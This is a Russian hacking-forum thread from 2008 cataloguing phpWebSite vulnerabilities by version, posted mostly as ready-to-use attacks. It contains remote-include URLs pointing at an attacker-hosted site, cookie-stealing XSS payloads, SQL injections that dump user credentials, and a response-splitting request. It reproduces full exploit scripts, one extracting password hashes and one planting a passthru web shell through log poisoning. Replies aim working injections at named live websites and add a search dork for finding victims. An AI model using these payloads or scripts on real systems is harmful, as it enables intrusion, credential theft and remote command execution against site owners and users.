ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[ Обзор уязвимостей phpWebSite ]
  #1  
Старый 23.01.2008, 20:25
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию [ Обзор уязвимостей phpWebSite ]

Уязвимости phpWebSite

от старых к новым:

phpWebsite 0.8.2

Уязвимость позволяет включать произвольный удаленный PHP файл в include_once.php или modsecurity.php скрипты:
modsecurity.php:
Код:
 <?php
global $inc_prefix;
if(!$inc_prefix) {
...
}
...
include_once($inc_prefix."htmlheader.php");
?>
таким образом, вызов
Код:
http://[HOST]/modsecurity.php?inc_prefix=http://site.narod.ru/
приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
Код:
http://[HOST]/ catalog/inludes/include_once.php?inc_prefix=http://site.narod.ru/
phpWebsite 0.8.3

Уязвимость позволяет произвести Пассивную XSS-атаку:
Код:
http://[HOST]/article.php?sid="><Img Src=javascript:alert(document.cookie)>
SQL инъекции: Уязвимость существует в сценариях friend.php и article.php в параметре "sid”. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc". Пример:
Код:
 http://[target]/friend.php?op=FriendSend&sid=-1+union+select+name+from+users+where+uid=1
http://[target]/article.php?sid=[sql]
phpWebsite 0.9.3

SQL инъекция. Уязвимость обнаружена в модуле 'Calendar'. Пример:

Код:
http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003 and startDate <= 20071205) or ( endDate >=031101 and endDate <=20071205)) and active=1
Уязвимы и другие сценарии в модуле 'Calendar'.

XSS. Уязвимость обнаружена в модулях 'Calendar', 'PageMaster', и 'Fatcat'. Примеры:
Код:
http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=day&month=2&year=2003&day=1+%00"><script>alert(‘XSS’)</script>
Код:
 http://[HOST]/[PATH]/index.php?modu le=fatcat&fatcat[user]
=viewCategory&fatcat_id=1%00+"><script>alert(‘XSS’)</script>
Код:
http://[HOST]/[PATH]/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10+"><script>alert(‘XSS’)</script>&MMN_position=[X:X]
Код:
http://[HOST]/[PATH]/index.php?module=search&SEA_search_op=continue&PDA_limit=10">+"><script>alert(‘XSS’)</script>
Уязвимы все переменные

Раскрытие инсталляционного пути:
Код:
http://[target]/index.php?module=calendar&calendar[view]=month&month=11&year=9
Переполнение буфера в модуле 'Calendar’, позволяет удаленному атакующему аварийно завершить работу Web сервера. Пример:
Код:
http://[HOST]/[PATH]/index.php?index.php?module=calendar&calendar[view]=
[VIEW FORM]&month=11&year=91+92+93...( больше 4000 байт )
автор уязвимости утверждает, что ложится, веб-сервер и mysql сервер, и воизбежания этого советует:
Цитата:
«…не используйте PHP, MySQL, Windows, Linux, компьютер, tcp/ip, netbios, игры, asp, Apache......не используйте ничего!»
phpWebSite 0.9.x

SQL инъекция. Уязвимость обнаружена в announce модуле.
Код:
http://[HOST]/[PATH]/index.php?module=announce&ANN_user_op=view&ANN_id='[SQL инъекция]
phpWebSite 0.9.3-4

XSS. Пример:
Код:
/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]
Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль.
Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах.

Response Splitting. Уязвимость существует в фале index.php Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы. Пример:
Код:
 POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive 

module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%
site in 0wned</html>&password=foobar
phpWebSite 0.10.0

Заливка шелла. Уязвимость обнаружена в модуле Announce при обработке gif файлов. Удаленный пользователь с привилегиями на загрузку файлов и публикацию анонсов может залить php сценарий на сервер. Удаленный пользователь может выдать php сценарий за gif файл (имя.gif.php) и вызвать его:
Код:
 http://[HOST]/images/announce/имя.gif.php
phpWebSite 0.10.1
SQL инъекция. пример:
Код:
http://[HOST]/phpweb/index.php?module=[sql_injection]
Эксплоит:
Код:
 #!/usr/bin/perl
use LWP::Simple;
 
$serv     =  $ARGV[0]; 
$path     =  $ARGV[1]; 
$name     =  $ARGV[2];
    
sub usage
 { 
    print "\nUsage: $0 [server] [path] [username] \n"; 
    print "sever    -  URL\n"; 
    print "path     -  path to index.php\n"; 
    print "username -  name register user\n\n"; 
    exit ();}  
 
sub work
 {
    print qq(
       --------------------------------- 
#==---[    phpWebSite SQL-injection     |
#==---[   tested ob phpWebSite-0.10.0   |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[       edisan, foster, whice     |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru       |
#==---[          http://ghc.ru          |
       ---------------------------------\n\n);&chv;&board}
       
sub chv     
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}  
 
sub board 
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);   
    $content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
 
sub showh
 {
    print "[*] User: $name\n";
    print "[*] Hash: $2\n\n";}
    
if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2005-09-15]

phpWebSite 0.10.2

Локальный инклюд. Уязвимость позволяет удаленному пользователю просмотреть (и принклюдить) произвольные локальные файлы. Уязвимость существует в параметре "hub_dir" сценария "index.php". Для успешной эксплуатации уязвимости опция "magic_quotes_gpc" должна быть отключена. Невозможность инклюда удаленных файлов существует из-за фильтрации символов “://” в уязвимом параметре с помощью условия:
Код:
 if (!preg_match ("/:\/\//i", $hub_dir)) {
    loadConfig($hub_dir);
} else {
    exit('FATAL ERROR! Hub directory was malformed.');
Эксплоит
Код:
 #!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPWebSite <= 0.10.2 remote cmmnds xctn\r\n";
echo "-> arbitrary local inclusion, works with magic_quotes_gpc = Off\r\n";
echo "by rgod, mail: rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to phpwebsite\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n";
die;
}

/* explaination:
 vulnerable code in index.php at lines 21-29:

...
 if (!isset($hub_dir)) {
    $hub_dir = NULL;
}
if (!preg_match ("/:\/\//i", $hub_dir)) {
    loadConfig($hub_dir);
} else {
    exit('FATAL ERROR! Hub directory was malformed.');
}
...

and at lines 125-143:

...
function loadConfig($hub_dir){

    if (file_exists($hub_dir . 'conf/config.php')) {
 	if (filesize($hub_dir . 'conf/config.php') > 0) {
	    include($hub_dir . 'conf/config.php');

	    define('PHPWS_SOURCE_DIR', $source_dir);


	} else {

	    header('Location: ./setup/set_config.php');
	    exit();
	}
    } else {
	header('Location: ./setup/set_config.php');
	exit();
    }
}
....

so, you can include files from local resources, poc:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

you don't see output, but we have some code in log files, it will be executed

also, on php5, arbitrary remote inclusion:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

including a full accessible share
where on samba resource you have some code in conf/config.php
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$serv."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);

# fill with possible locations
$paths= array (
  "/var/log/httpd/access_log",
  "/var/log/httpd/error_log",
  "../apache/logs/error.log",
  "../apache/logs/access.log",
  "../../apache/logs/error.log",
  "../../apache/logs/access.log",
  "../../../apache/logs/error.log",
  "../../../apache/logs/access.log",
  "../../../../apache/logs/error.log",
  "../../../../apache/logs/access.log",
  "/etc/httpd/logs/acces_log",
  "/etc/httpd/logs/acces.log",
  "/etc/httpd/logs/error_log",
  "/etc/httpd/logs/error.log",
  "/var/www/logs/access_log",
  "/var/www/logs/access.log",
  "/usr/local/apache/logs/access_log",
  "/usr/local/apache/logs/access.log",
  "/var/log/apache/access_log",
  "/var/log/apache/access.log",
  "/var/log/access_log",
  "/var/www/logs/error_log",
  "/www/logs/error.log",
  "/usr/local/apache/logs/error_log",
  "/usr/local/apache/logs/error.log",
  "/var/log/apache/error_log",
  "/var/log/apache/error.log",
  "/var/log/access_log",
  "/var/log/error_log",
);

for ($i=0; $i<=count($paths)-1; $i++)
{
  $j=$i+2;
  echo "[".$j."] Trying with ".$paths[$i]."%00\r\n";
  $xpl=$paths[$i];
  $packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  #debug, shows packets in a nice format
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"666")){
    echo "Exploit succeeded...\r\n";
    $temp=explode("666",$html);
    echo $temp[1];
    die;
  }
}
#if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-04-14]
phpWebSite 1.4.0

XSS. Уязвимость в параметре "search" в модуле поиска, пример:
Код:
 http://[host]/search.php?query=”><script>alert('XSS')</script>
Ну и от себя, вроде описания этой баги не нашел:

SQL инъекция, версию не узнал, так как нигде не нашел CHANGELOG.txt
существует в модуле downloads в параметре lid, Пример:
Код:
http://[host]/mod.php?mod=downloads&op=getit&lid=-1+union+select+concat(name,0x3a,pass),2+from+users/*
рабочий пример:
Код:
http://www.heimplatzsuche.de/mod.php?mod=downloads&op=getit&lid=68+union+select+concat(name,0x3a,pass),2+from+users/*
Не очень удобна в эксплуатации, посмотрите, поймете почему
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #2  
Старый 23.01.2008, 21:46
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Вот еще от меня XSS:
версию опять же неузнал, но везде где пробовал работает:
Код:
http://[host]/mod.php?mod=userpage&menu=1210&page_id=[несуществующая страница]<script>alert(/xss/)</script>
пример:
Код:
http://pcburn.com/mod.php?mod=userpage&menu=1210&page_id=-1<script>alert(/xss/)</script>
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #3  
Старый 23.01.2008, 23:09
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

Молодец.)
Цитата:
приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
нет не обязательно.. просто ? добавляешь в конец,)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #4  
Старый 18.05.2008, 19:44
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

В дополнение найденое мной в версии 0.8.2(думаю будет работать и на других аналогичных)
раскрытие пути
Сценарий mod параметр mod(неверный параметр, или в массив)
Код:
http://[target]/mod.php?mod=
Код:
http://[target]/mod.php?mod[]=
пассивные XSS
сценарии article.php friend.php параметр sid
Код:
http://[target]/article.php?op=Print&sid=17<script>alert(11111)</script>
Код:
http://[target]/friend.php?op=FriendSend&sid=17"/><script>alert(/1/)</script>
модуль newsletter
Код:
http://[target]/mod.php?mod=newsletter&op=archive&id=44"/><script>alert(/1/)</script>
Код:
http://[target]/mod.php?mod=newsletter&op=read&id=706&listid=44"/><script>alert(/1/)</script>
в поиске
"/><script>alert(/1/)</script>
Код:
http://[target]/search.php
в форму пойска модуля faq >><script>alert(11111)</script>
Код:
http://[target]/mod.php?mod=faq&op=search_form
И последняя работает не везде, почему не разобрался
Код:
http://[target]/mod.php?mod=faq>><script>alert(11111)</script>
Всё найденное точно работает в версии 0.8.2, также проверялось на нескольких неопознанных версиях
 
Ответить с цитированием

  #5  
Старый 19.05.2008, 16:18
Аватар для l1ght
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

phpwebsite, модуль article sql inj
example:
Код:
http://www.phpwebsitemanual.com/index.php?module=article&email=4+union+select+1,2,3,4,5,6,7,8,9,10,load_file(0x3b),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
phpwebsite, модуль announce sql inj
example:
Код:
http://www.phpwebsitemanual.com/index.php?module=announce&ANN_user_op=categories&category=4+order+by+2/*&list=categories&PAGER_limit=5&PAGER_start=0&PAGER_section=1
/ps
google it:
Код:
http://www.google.ru/search?q=inurl:?module=article+inurl:email
*edit

Последний раз редактировалось l1ght; 19.05.2008 в 18:21..
 
Ответить с цитированием

  #6  
Старый 18.07.2008, 13:53
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

POST запрос на странице http://site/index.php?module=users &action=user&command=signup_user
Код:
"><BODY onload=alert(document.cookie)>
В полях: Password и Confirm (вместе), Email Address
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ